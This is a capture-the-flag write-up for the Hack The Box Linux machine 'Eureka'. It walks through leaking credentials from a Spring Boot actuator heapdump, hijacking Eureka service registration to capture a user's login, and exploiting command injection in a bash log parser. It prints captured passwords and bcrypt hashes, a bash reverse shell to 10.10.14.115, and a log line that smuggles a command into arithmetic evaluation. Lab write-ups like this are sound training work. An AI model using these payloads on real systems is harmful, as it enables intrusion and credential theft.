> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2025-08-30

Hack The Box — Eureka (Linux)

Spring Boot actuator heapdump leaks Eureka and user credentials, then service-registration abuse captures miranda login traffic and a log parser command injection yields root.

Target

  • IP: 10.129.24.26

Recon

sudo nmap -sC -sV 10.129.24.26 -p- -T5 -v
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Furni | Home
8761/tcp open  http    Apache Tomcat (language: en)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 \x0D
|_  Basic realm=Realm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add furni.htb to /etc/hosts.

Spring Eureka is listening on port 8761.

If we try http://furni.htb:8761/, it asks for credentials.

Go to http://furni.htb/.

It is a furniture shopping website.

There is a contact form, a blog with comments, a checkout page with notes, and a search form on the shop page.

Tried XSS injections and SQL injections, but no result.

We can assume this site is built with Spring Boot.

Useful site:

  • https://www.wiz.io/blog/spring-boot-actuator-misconfigurations
curl http://furni.htb/actuator/heapdump -o heapdump
strings heapdump | grep -Ei 'http://.*eureka'

We find:

http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

Go to http://EurekaSrvr:0scarPWDisTheB3st@furni.htb:8761/.

This is the Eureka dashboard.

These instances are listed:

APP-GATEWAY                             http://localhost:8080/actuator/info
FURNI                                   http://localhost:8082/actuator/info
USER-MANAGEMENT-SERVICE                 http://localhost:8081/actuator/info

Useful site:

  • https://engineering.backbase.com/2023/05/16/hacking-netflix-eureka
strings heapdump | grep 'password'

We find:

{password=0sc@r190_S0l!dP@sswd, user=oscar190}!
ssh oscar190@furni.htb

Enter the discovered password.

We have a shell.

ls -l /home

There is a user miranda-wise.

cat /etc/nginx/sites-available/default

We notice:

        location = /actuator/heapdump {
                alias /opt/heapdump/heapdump;
        }

        location = /favicon.ico { access_log off; log_not_found off; }
        location /static/ {
                root /var/www/web;
        }
cd /var/www/web
ls -la
drwxrwxr-x 7 www-data developers 4096 Mar 18 21:19 .
drwxr-xr-x 4 root     root       4096 Apr 10 07:25 ..
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 cloud-gateway
drwxrwxr-x 5 www-data developers 4096 Aug  5  2024 Eureka-Server
drwxrwxr-x 5 www-data developers 4096 Aug  5  2024 Furni
drwxrwxr-x 6 www-data developers 4096 Jul 23  2024 static
drwxrwxr-x 6 www-data developers 4096 Mar 19 22:07 user-management-service
tar -cvf /dev/shm/test.tar user-management-service/

Download test.tar.

tar xvf test.tar

In application.properties we notice:

spring.jpa.hibernate.ddl-auto=none
spring.datasource.url=jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.datasource.username=oscar190
spring.datasource.password=0sc@r190_S0l!dP@sswd
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.jpa.properties.hibernate.format_sql=true
mysql -h 127.0.0.1 -u oscar190 -p

Enter the password.

show databases;
use Furni_WebApp_DB;
show tables;
select * from users;

Create a hash file with this content:

k.mossab110@eloquia.htb:$2a$10$J4yap5ZxviliZO9jBCuSdeD.7LzL3/njVpNhnG85HCcwA05ulUrzW
lorra199@gmail.com:$2a$10$DgUDWpxipW2Yt7UcKxzvweB7FXoV/LFxlJG8yuL56NyUMMLr5uBuK
mwood@gmail.com:$2a$10$3LDYl5QEt4K4u8vLWMGH8eDA/fNKVquhHNbyijaDzzueKHAwi6bHO
roberto0xd@outlook.com:$2a$10$4TLCSlEfYrNDFfPDQ5z4p.S6gImA8NKAGn2tyqLJyG71l9iQoTDhu
miranda.wise@furni.htb:$2a$10$T4L873JALnbXH10tq.mEbOOVYmZPLlBBSeD1h2hqAeX6nbTDXMyqm
oscar190@furni.htb:$2a$10$ye9a40a7KOyBJKUai2qxY.fcfVQGlFTM3SVSVcn82wxQf/2zYPq96
nya190@furni.htb:$2a$10$GZQOgzb4N1xVs3ALpnuqGeId5/mZLL8pv5GlkRzJfxdFxO/JIkIaK
logok12976@pelung.com:$2a$10$J93xmU0.yP0/oZmoV9K4u.XvYHtl.kunSX9xoe2RACqKcitM4OjlC
./hashcat-6.2.6/hashcat.bin -a 0 -m 3200 ./rockyou.txt --username

They do not crack.

ps aux | grep miranda
root       49263  0.0  0.0   8784  3800 pts/0    S    17:49   0:00 su miranda-wise
miranda+   51754  0.0  0.1   8672  5532 pts/0    S+   17:50   0:00 bash
root      783314  0.0  0.2  13972  8744 ?        Ss   20:32   0:00 sshd: miranda-wise [priv]
miranda+  783359  0.0  0.2  19192  9772 ?        Ss   20:33   0:00 /lib/systemd/systemd --user
miranda+  783363  0.0  0.0 169724  3504 ?        S    20:33   0:00 (sd-pam)
miranda+  783492  0.0  0.1  13972  5736 ?        S    20:33   0:00 sshd: miranda-wise@pts/1
miranda+  783493  0.0  0.1   8276  4868 pts/1    Ss+  20:33   0:00 -bash
root      849126  0.0  0.2  13940  8596 ?        Ss   21:24   0:00 sshd: miranda-wise [priv]
miranda+  849256  0.0  0.1  14072  5704 ?        S    21:25   0:00 sshd: miranda-wise@pts/4
miranda+  849257  0.0  0.1   8408  5012 pts/4    Ss   21:25   0:00 -bash
root      948245  0.0  0.0   2608   596 ?        Ss   22:45   0:00 /bin/sh -c /opt/scripts/miranda-Login-Simulator.sh
root      948246  0.0  0.0   6892  3272 ?        S    22:45   0:00 /bin/bash /opt/scripts/miranda-Login-Simulator.sh
oscar190  948276  0.0  0.0   6432   720 pts/5    S+   22:45   0:00 grep --color=auto miranda

miranda-Login-Simulator.sh looks suspicious.

We can infer there is a script that performs a login as miranda.

Endpoint /login is handled by USER-MANAGEMENT-SERVICE.

The idea is to register a fake instance in Eureka under USER-MANAGEMENT-SERVICE that points to our own server.

So when miranda logs in, her request may be routed to us.

We can register an instance through the Eureka server API.

See script attachments/test.py.

python3 test.py

If we wait a little and go to http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE, we should see our fake instance.

We listen with a Flask server that dumps POST request data.

See script attachments/test_server.py.

python3 test_server.py

Wait.

We obtain:

ImmutableMultiDict([('username', 'miranda.wise@furni.htb'), ('password', 'IL!veT0Be&BeT0L0ve'), ('_csrf', 'LgKWimm30PGEfEyNJIgmORpuoznotMiW5o54PRpEygtVkjo0TDqmuF7W4sSpHy64E6USCXgIjgGOgvC71b0eWSt0-z1l9g4N')])
10.10.11.66 - - [03/May/2025 01:02:00] "POST /login HTTP/1.1" 200 -
ssh miranda-wise@furni.htb

Enter the discovered password.

We get a shell.

id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)
ls -la /opt
total 24
drwxr-xr-x  4 root root     4096 Mar 20 14:17 .
drwxr-xr-x 19 root root     4096 Apr 22 12:47 ..
drwxrwx---  2 root www-data 4096 Aug  7  2024 heapdump
-rwxrwxr-x  1 root root     4980 Mar 20 14:17 log_analyse.sh
drwxr-x---  2 root root     4096 Apr  9 18:34 scripts

Run:

while true; do
  ps aux | grep analyse
  sleep 0.5
done

At some point we get:

root      990367  0.0  0.0   7024  3436 ?        S    23:20   0:00 /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
root      990368  0.0  0.0   7284  3760 ?        S    23:20   0:00 /bin/bash /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log

We see that miranda-wise is in group developers.

And group developers can modify folders in /var/www/web.

So we can modify .log files.

cat /opt/log_analyse.sh

It is a fairly long script.

The script is vulnerable to command injection in this part:

analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            echo $existing_entry
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            echo $code
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

Specifically, command injection is here:

            if [[ "$existing_code" -eq "$code" ]]; then

Useful sites:

  • https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells
  • https://unix.stackexchange.com/questions/172103/security-implications-of-using-unsanitized-data-in-shell-arithmetic-evaluation

The exploit works like this.

On target machine create file /dev/shm/rev with content:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.115/4444 0>&1

Make it executable:

chmod +x rev

On attacker machine, start netcat listener:

nc -vlnp 4444

Add this line in /var/www/web/cloud-gateway/log/application.log:

2025-04-09T11:18:03.300Z  INFO 1234 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: a[0$(/dev/shm/rev>&2)]

Wait.

We get a reverse shell as user root.